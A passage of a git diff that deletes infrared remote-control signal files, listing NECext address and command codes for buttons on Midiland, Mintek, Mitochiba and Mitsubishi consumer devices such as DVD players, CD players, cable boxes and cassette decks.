XE_LIVE_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 65 00 00 00 -# -name: XE_PAGE_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 66 00 00 00 -# -name: XE_GUIDE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 67 00 00 00 -# -name: XE_PAGE_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 68 00 00 00 -# -name: MESSENGER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 69 00 00 00 -# -name: KIOSK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 6A 00 00 00 -# -name: OEM1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 80 00 00 00 -# -name: OEM2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir deleted file mode 100644 index 2eca0beec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 02 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 03 00 00 00 -# -name: SPEAKER_SETUP -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 04 00 00 00 -# -name: FRONT -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 05 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 08 00 00 00 -# -name: REAR -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 09 00 00 00 -# -name: FL_VOL -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0A 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0C 00 00 00 -# -name: CENTRE -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0D 00 00 00 -# -name: RL_VOL -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0E 00 00 00 -# -name: SW_VOL -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 0F 00 00 00 -# -name: FR_VOL -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 10 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 11 00 00 00 -# -name: RR_VOL -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 12 00 00 00 -# -name: C_VOL -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 14 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 15 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 19 00 00 00 -# -name: VOLUME_SETUP -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 1B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 1C 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 51 AF 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir deleted file mode 100644 index fcd9b10cc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 02 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 08 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 09 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0D 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 11 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 12 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 13 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 15 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 17 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 19 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1F 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir deleted file mode 100644 index b23740dec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: view -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: n/p -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: game -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 40 00 00 00 -# -name: ret -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 41 00 00 00 -# -name: spk -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 42 00 00 00 -# -name: ok_scope -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 44 00 00 00 -# -name: ran -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 45 00 00 00 -# -name: kres -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 47 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 48 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 49 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4A 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 50 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 51 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 52 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 53 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 55 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 56 00 00 00 -# -name: mol -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 57 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 59 00 00 00 -# -name: rem -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5A 00 00 00 -# -name: r/l -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5E 00 00 00 -# -name: c/e -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir deleted file mode 100644 index c3f46103a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: view -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: a-b_pbc -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 40 00 00 00 -# -name: p/n -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 41 00 00 00 -# -name: spk -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 42 00 00 00 -# -name: mol -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 44 00 00 00 -# -name: ran -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 45 00 00 00 -# -name: rem -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 45 00 00 00 -# -name: r/l -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 47 00 00 00 -# -name: time_goto -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 48 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 49 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4A 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4B 00 00 00 -# -name: mic_off -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4D 00 00 00 -# -name: mic_on -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 50 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 51 00 00 00 -# -name: game -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 52 00 00 00 -# -name: ret -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 52 00 00 00 -# -name: kres -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 52 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 53 00 00 00 -# -name: rep -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 55 00 00 00 -# -name: freeze_time -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 56 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 57 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 59 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5E 00 00 00 -# -name: c/e -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir deleted file mode 100644 index 41bfb439a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C0 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C1 00 00 00 -# -name: DISC_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C3 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C3 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C4 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C4 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C8 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C9 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CA 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CA 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CA 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CB 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CB 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CE 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CF 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D0 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D2 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D2 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D2 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D3 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D4 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D4 00 00 00 -# -name: DISC_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D6 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D7 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D8 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 77 00 00 00 -command: DB 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: DC 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: DC 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 77 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E0 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E3 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E4 00 00 00 -# -name: FS_(FWD_SRCH)_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E4 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E8 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: EB 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: EC 00 00 00 -# -name: RS_(REV_SRCH)_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: EC 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 77 00 00 00 -command: EE 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 77 00 00 00 -command: EE 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F0 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F3 00 00 00 -# -name: ADJUST_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F4 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F5 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F6 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F8 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: FB 00 00 00 -# -name: ADJUST_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: FC 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 77 00 00 00 -command: FE 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 77 00 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir deleted file mode 100644 index ed33da33b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir deleted file mode 100644 index d040d048e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO_POWER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2A 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4C 00 00 00 -# -name: TAPE_1/2_INPUT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4D 00 00 00 -# -name: TAPE1_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 80 00 00 00 -# -name: TAPE1_9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 81 00 00 00 -# -name: TAPE1_MENU -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 82 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 84 00 00 00 -# -name: TAPE2_PLAY_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 85 00 00 00 -# -name: TAPE1_FS/+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 86 00 00 00 -# -name: TAPE2_FS/+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 87 00 00 00 -# -name: TAPE1_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 88 00 00 00 -# -name: TAPE1_0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 89 00 00 00 -# -name: TAPE1_ENTER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8A 00 00 00 -# -name: TAPE1_REC -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8C 00 00 00 -# -name: TAPE1_RS/- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8E 00 00 00 -# -name: TAPE2_RS/- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8F 00 00 00 -# -name: TAPE1_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 90 00 00 00 -# -name: TAPE1_CANCEL -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 92 00 00 00 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 94 00 00 00 -# -name: TAPE2_STOP_[] -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 95 00 00 00 -# -name: TAPE1_REPEAT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 97 00 00 00 -# -name: TAPE1_4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 98 00 00 00 -# -name: TAPE1_PAUSE_ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 9C 00 00 00 -# -name: TAPE2_PAUSE_ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 9D 00 00 00 -# -name: TAPE1_5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A0 00 00 00 -# -name: TAPE1_AUDIO_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A2 00 00 00 -# -name: TAPE1_FF_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A4 00 00 00 -# -name: TAPE2_FF_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A5 00 00 00 -# -name: TAPE1_DISPLAY -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A7 00 00 00 -# -name: TAPE1_6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A8 00 00 00 -# -name: TAPE1_AUDIO_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AA 00 00 00 -# -name: 